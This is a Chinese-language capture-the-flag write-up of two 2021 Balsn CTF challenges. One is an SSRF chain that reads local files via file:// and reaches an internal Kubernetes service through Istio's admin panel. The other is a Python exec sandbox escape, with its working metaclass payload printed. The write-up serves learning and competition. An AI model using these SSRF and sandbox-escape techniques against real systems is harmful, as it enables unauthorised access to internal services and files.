# 2021 Balsn CTF Writeup 只寫了兩題,禮拜六大部分時間都浪費在架SMB上,然後才發現根本是徒勞無功 我太難了 如果不浪費時間在那上面大概可以解三題 --- ## Proxy 網站本身有個參數,可以查詢指定網址 可以用file\://來撈本地的檔案 下面的檔案都是簡化的 **/proc/self/environ 環境參數** ``` CHALL_PORT_8000_TCP_ADDR=10.44.0.53 CHALL_PORT_8000_TCP_PORT=8000 SECRET_SERVICE_20A91E_PORT_39307_TCP_ADDR=10.44.3.240 SECRET_SERVICE_20A91E_PORT_39307_TCP_PORT=39307 HOSTNAME=chall-v1-76d9c69984-2bmgk KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP_ADDR=10.44.0.1 PWD=/opt/workdir ``` 可以看到有其他的服務,也就是說要打到內網的其他主機 直接打是沒用的 **/proc/self/cmdline 當初執行的程式** ``` python gunicorn main:app --bind 0.0.0.0:8000 ``` 所以原始碼位置是在 **/opt/workdir/main.py** 或是也可以 **/proc/self/cwd/main.py** ```python= import urllib.request from flask import Flask, request app = Flask(__name__) @app.route("/meow") def meow(): return 'meow?' @app.route("/query") def query(): site = request.args.get('site') text = urllib.request.urlopen(site, timeout=5).read() return text @app.route("/") def hello_world(): return "/query?site=[your website]" if __name__ == "__main__": app.run(debug=False, host="0.0.0.0", port=8000) ``` 聽其他人說如果直接用瀏覽器連/meow 會發現被istio擋 但我一直都是拿他的參數去戳其他網址,所以完全沒發現 結果就是把其他東西都試了一遍 ex:urllib的漏洞、Kubernetes的漏洞、其他所有能戳的檔案 最後才回去看istio是什麼鬼 人生好難 k8s的服務可以稱為node,而不同node都會用master node來掌控 一般來說,普通的k8s的架構都必須透過master node來連線到不同的node node之間連線也必須透過master node的api 而istio卻能直接讓node對外公開,並且讓node之間互相連線 稍微經過一些查詢,可以知道istio會在所有node的15000 port上面弄一個admin的面板,上面可以讓你直接dump istio的config 最後透過查詢關鍵字,可以發現酷酷的東西 ``` "name": "secret-service-20a91e.default.svc.cluster.local:39307", "domains": [ "secret-service-20a91e.default.svc.cluster.local", "secret-service-20a91e.default.svc.cluster.local:39307", "secret-service-20a91e", "secret-service-20a91e:39307", "secret-service-20a91e.default.svc.cluster", "secret-service-20a91e.default.svc.cluster:39307", "secret-service-20a91e.default.svc", "secret-service-20a91e.default.svc:39307", "secret-service-20a91e.default", "secret-service-20a91e.default:39307", "10.44.3.240", "10.44.3.240:39307" ] ``` 隨便選一個都連得上去...吧(? 總之最後flag放在/flag裡 不過直接在後面加/flag會連不上去 要加//flag 我當初沒多想,以為是urllib把斜線當成proxy.balsnctf.com的路徑 所以直接加了一個/跳脫 後來其他人才說似乎又是istio的奇怪設定 flag:**BALSN{default_istio_service_mesh_envoy_configurations}** --- ## Metaeasy 題目給你一個python的檔案 程式有點多行所以我就拿幾段重要的出來 主要是會用BalsnMetaClass幫你生成一個Class出來 然後你可以增加或修改Method或是Attribute總共三次 兩個MetaClass MasterMetaClass會把getFlag變成IWantGETFLAGPLz ```python= class MasterMetaClass(type): def __new__(cls, class_name, class_parents, class_attr): def getFlag(self): print('Here you go, my master') with open('flag') as f: print(f.read()) class_attr[getFlag.__name__] = getFlag attrs = ((name, value) for name, value in class_attr.items() if not name.startswith('__')) class_attr = dict(('IWant' + name.upper() + 'Plz', value) for name, value in attrs) newclass = super().__new__(cls, class_name, class_parents, class_attr) return newclass def __init__(*argv): print('Bad guy! No Flag !!') raise Exception('Illegal') class BalsnMetaClass(type): def getFlag(self): print('You\'re not Master! No Flag !!') def __new__(cls, class_name, class_parents, class_attr): newclass = super().__new__(cls, class_name, class_parents, class_attr) setattr(newclass, cls.getFlag.__name__, cls.getFlag) return newclass ``` 會把你輸入的code包裝成函式 上限45個字,會過濾 _$#@~' 他用的是exec,所以可以用;來執行多行程式 ```python= def createMethod(code): if len(code) > 45: print('Too long!! Bad Guy!!') return for x in ' _$#@~': code = code.replace(x, '') def wrapper(self): exec(code, safe_dict, {'self': self}) return wrapper ``` 增加以及呼叫方法的函式 可以看到沒辦法直接替代或是呼叫有_的方法 像是__init__或__new__之類的 ```python= def setName(pattern): while True: name = input(f'Give me your {pattern} name :') if (name.isalpha()): break else: print('Illegal Name...') return name def setMethod(cls): methodName = setName('method') code = input(f'Give me your function:') func = createMethod(code) setattr(cls, methodName, func) def callMethod(cls, obj): attrs = [attr for attr in dir(obj) if callable(getattr(obj, attr)) and not attr.startswith("__")] x = input('Please enter the method\'s name :') if x not in attrs: print(f'You can\'t access the method {x}') return else: try: print(f'calling method {x}...') cls.__dict__[x](obj) print('done') except: print('Something went wrong in your method...') return ``` 先來簡單介紹一下什麼是metaclass 詳細可以看這邊 https://stackoverflow.com/questions/100003/what-are-metaclasses-in-python python的class其實都是type的一種instance 也就是說如果你使用type(someclass) 回傳的都會是<class 'type'> 而metaclass就是繼承type,並且能讓你創造屬於自己的class的方法 在定義class的過程中就對attr跟method做不同的事情 type()除了回傳物件的type,還可以拿來定義class 而在這一題,我們便需要用MasterMetaClass來定義一個class 並且執行這個class的getFlag 唯一的問題是,在定義的時候他的__init__會被觸發,所以必須想辦法繞過或覆蓋掉他 由於metaclass是可以被繼承的,也就是說只要定義新的metaclass,並且Override他的__init__,再用這個子metaclass定義一個class就行了 完美 payload ```python= #dir(self[11])是為了拿到__init__的字串,不過好像能直接用\x5f繞過過濾 self.d={};self.d[dir(self)[11]]=print; #用type生成繼承MasterMetaClass的metaclass,並且Override __init__ self.p=type('p',(MasterMetaClass,),self.d); ##最後再用剛才生成的metaclass生成class,初始化後呼叫IWantGETFLAGPLz() self.p("t",(),{})().IWantGETFLAGPlz() ``` Flag:**BALSN{Metaclasses_Are_Deeper_Magic_Than_99%_Of_Users_Should_Ever_Worry_About._If_You_Wonder_Whether_You_Need_Them,_You_Don't.-Tim_Peters_DE8560A2}** --- ## 結語 這次是比去年進步了啦 從廢物菜雞變成廢物 這次獨自寫了兩題,拿了第26名,還算開心![](https://i.imgur.com/fy35avM.png) 不過我覺得我真的要找隊友ㄌ 希望明年能變更強,從廢物變菜雞 然後找到隊友